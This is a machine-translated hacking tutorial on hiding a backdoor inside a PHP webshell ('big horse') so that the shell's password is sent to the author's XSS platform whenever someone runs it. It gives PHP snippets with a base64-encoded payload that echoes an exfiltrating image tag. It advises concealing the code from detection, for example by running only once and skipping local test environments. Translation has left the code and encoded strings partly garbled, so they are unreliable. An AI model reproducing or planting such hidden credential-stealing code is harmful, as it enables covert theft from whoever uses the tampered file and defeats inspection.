Add back door to your PHP big horse (Black eats black)

Part 1 Intro

Say what good, send a picture to be a primer good.

Part 2 XSS Platform

Create a project

Select Type

XSS Code

Small experiment, Refresh code

On the XSS platform

Part 3 back Door

We write a script like this

<? PHP $password = ' admin ';  // Suppose this big horse code                               Echo ' $password. ' " /> ';

　　

Browser, run script

On the XSS platform

Encrypting XSS Code

Final script

<?php
$password = ' HACKSB ';  // Suppose this big horse code $url = ' base64 encryption code '; $hm Base64_decode ($url); Echo $hm. $password. ' "/>";

　　

Under test, run the script.

<? PHP $password = ' hacksb '$url = ' pgltzb3awr0ad0wagvpz2h0ptagc3jjpjodhrwoi8vehzms5jbi94c3mucghwp2rvpwfwaszpzd1jnjmxvy2f0a9upq== '; $hm Base64_decode ($url); Echo $hm. $password. ' "/>";

　　

　　

On the XSS platform

Part 3 leverages

Find a big horse.

　　　

　　

Insert the Backdoor code. In short, as far as possible without being easily detected by others. There are also variable names that do not clash with the big horse itself.

　　

　　

Run the big horse.

　　

The XSS platform. Hey, heh.

　　

Part 4 PostScript

This back door is not perfect, for example, grab bag, F12 back door is leaking out, need to be perfected. For example, the backdoor code runs only once, and the local test environment does not execute the backdoor code.

　

Reference: https://bbs.ichunqiu.com/thread-18486-1-1.html

Add back door to your PHP big horse (Black eats black)